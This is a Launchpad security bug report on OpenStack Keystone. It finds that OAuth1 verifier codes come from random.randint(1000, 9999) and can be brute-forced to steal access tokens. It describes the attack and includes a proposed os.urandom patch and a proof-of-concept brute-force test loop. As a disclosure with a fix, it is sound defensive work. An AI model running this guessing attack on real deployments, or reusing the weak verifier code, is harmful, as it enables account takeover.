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** Information type changed from Private Security to Public

** No longer affects: ossa

** Tags added: security

** Tags added: havana-rc-potential

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https://bugs.launchpad.net/bugs/1236675

Title:
  Keystone getting oauth access token by brute-forcing oauth_verifier
  code

Status in OpenStack Identity (Keystone):
  Confirmed

Bug description:
  Title: Keystone getting oauth access token by brute-forcing
  oauth_verifier code
  Reporter: Phuong Cao
  Products: openstack/keystone
  Affects: keystone/master branch as of Oct 7th 2013

  Description:
  Phuong Cao reported a vulnerability in OAuth SQL backend of
  keystone/master branch.

  How does the attack work?
  By creating many access token requests with oauth_verifier code selected
  from the range 1000 to 9999,
  an attacker can request a valid access token to a role and a project,
  overriding a user who actually request access to the role and the project.

  Before describing in detail how the attack works, this is how OAuth
  works (summarized from RFC5849)

  1. Alice registers as a consumer with the Openstack admin.
  2. Alice asks the Openstack admin a token with a specified role and a
  project on behalf of Bob (Bob is the owner of the project).
  3. The Openstack admin returns to Alice a request token key.
  4. Alice sends the request token key to Bob to ask for permissions to
  access the project.
  5. Bob authorizes Alice's request token to have access to the project
  with the specified role.
  6. Bob generates an oauth_verifier code ranging from 1000 to 9999, then
  sends back to Alice an oauth_verifier code.
  7. Alice use the oauth_verifier code and the request token key to ask
  the Openstack admin for the access token to the project.

  This is how the attack works:
  At step 4, assuming an attacker can sniff Alice's request token key.
  This can be done by acting as a man in the middle if Alice interacts
  with Keystone using HTTP requests,
  or acting as a local user to list the process arguments if Alice is
  interacts with Keystone using openstack commandline tools (this case is
  similar to CVE 2013-2013).

  Now the attacker has Alice's request token key, he/she need to wait for
  Bob to authorizes Alice's request token (step 5), then repeatedly
  brute-forcing Keystone with the pair(oauth_verifier, Alice's request
  token key) using oauth_verifier from the range 1000 to 9999. Since the
  oauth_verifier is in a short range, and Openstack/Keystone doesn't have
  any mechanism to limit number of requests, the attacker can bruteforce
  for the valid oauth_verifier key until the request token expires.

  A more aggressive way is to keep brute-forcing Keystone until Bob
  authorizes Alice's request token, by doing this the attacker will have
  more chance getting the access token key before Alice.

  Where are the vulnerable code locations?
  Line 210 of sql.py file:
  https://github.com/openstack/keystone/blob/master/keystone/contrib/oauth1/backends/sql.py#L210

  In OAuth SQL backend of keystone/master branch, the oauth_verifier code,
  a fundamental part of OAuth1 protocol, is generated using random numbers
  from 1000 to 9999.
  This is a small range of numbers and it is easy to be guessed/brute-forced.
  This attack is classified as "CWE-330: Use of Insufficiently Random
  Values" (http://cwe.mitre.org/data/definitions/330.html).

  What are the possible fixes?
  We suggest using a long random string (e.g., 32-bit or 64-bit). Using
  os.urandom() is a good one, it has been recommended for generating
  random number for cryptographic purposes.
  A patch is attached in the attached file (please note: we haven't tested
  this patch).

  Where is the exploit code?
  We attach a snippet code that we modify from test_bad_verifier()
  Keystone test case.
  The snippet is a sketch of how oauth_verifier code brute-forcing can be
  implemented.

  What is the affected version?
  The keystone/master on github as of Oct 7th 2013 is affected.

  References:
  Link to oauth1 file and vulnerable code location (sql.py, line #210):
  https://github.com/openstack/keystone/blob/master/keystone/contrib/oauth1/backends/sql.py#L210
  CWE-330: Use of Insufficiently Random Values:
  (http://cwe.mitre.org/data/definitions/330.html).
  RFC5849: http://tools.ietf.org/html/rfc5849
  os.urandom(): http://docs.python.org/2/library/os.html
  OAuth in keystone tutorial:
  http://www.unitedstack.com/blog/oauth-in-keystone/

  # Patch
  --- /tmp/keystone/keystone/contrib/oauth1/backends/sql.py       2013-10-07 17:06:04.170603933 -0500
  +++ /home/vagrant/keystone/keystone/contrib/oauth1/backends/sql.py      2013-10-07 17:01:39.124008733 -0500
  @@ -17,6 +17,8 @@
   import datetime
   import random
   import uuid
  +import os
  +import binascii

   from keystone.common import sql
   from keystone.common.sql import migration
  @@ -207,7 +209,7 @@
               token_ref = self._get_request_token(session, request_token_id)
               token_dict = token_ref.to_dict()
               token_dict['authorizing_user_id'] = user_id
  -            token_dict['verifier'] = str(random.randint(1000, 9999))
  +            token_dict['verifier'] = binascii.b2a_hex(os.urandom(16))
               token_dict['role_ids'] = jsonutils.dumps(role_ids)

               new_token = RequestToken.from_dict(token_dict)

  # Test brute force
  class MaliciousOAuth1Tests(OAuth1Tests):

      # modified from test_bad_verifier()
      def test_bruteforce_verifier(self):
          
          # create consumer for oauth
          consumer = self._create_single_consumer()
          consumer_id = consumer.get('id')
          consumer_secret = consumer.get('secret')
          consumer = oauth1.Consumer(consumer_id, consumer_secret)

          url, headers = self._create_request_token(consumer,
                                                    self.project_id)
          # get request token
          content = self.post(url, headers=headers)
          credentials = urlparse.parse_qs(content.result)
          request_key = credentials.get('oauth_token')[0]
          request_secret = credentials.get('oauth_token_secret')[0]
          request_token = oauth1.Token(request_key, request_secret)

  
          # authorize request token
          url = self._authorize_request_token(request_key)
          
          body = {'roles': [{'id': self.role_id}]}
          resp = self.put(url, body=body, expected_status=200)
          verifier = resp.result['token']['oauth_verifier']
          self.assertIsNotNone(verifier)

          # we are not going to use received oauth_verifier here, instead, we brute-force to find the valid oauth_verifier
          for i in range(1000,10000):
              request_token.set_verifier(str(i))
              url, headers = self._create_access_token(consumer,
                                                       request_token)
              # We expect 401 status code for most of requests since most oauth_verifier code
              # that we try will be invalid.
              # The test will crash at the valid oauth_verifier code when returned status = 201,
              # which is different from the expected 401 status.
              r = self.post(url, headers=headers, expected_status=401)
              
              # Print out oauth_verifier, and raw response request that contains access token.
              if (r == 201): # We have found correct oauth_verifier code
                  print 'oauth_verifier: {}, raw access_token response request: {}'.format(str(i), str(r))

  
  We are looking forward hearing from you.

  Thank you.

  Best,

  Phuong Cao
  Research Assistant
  DEPEND group
  Coordinated Science Laboratory
  University of Illinois at Urbana Champaign
  Urbana, IL 61801, USA

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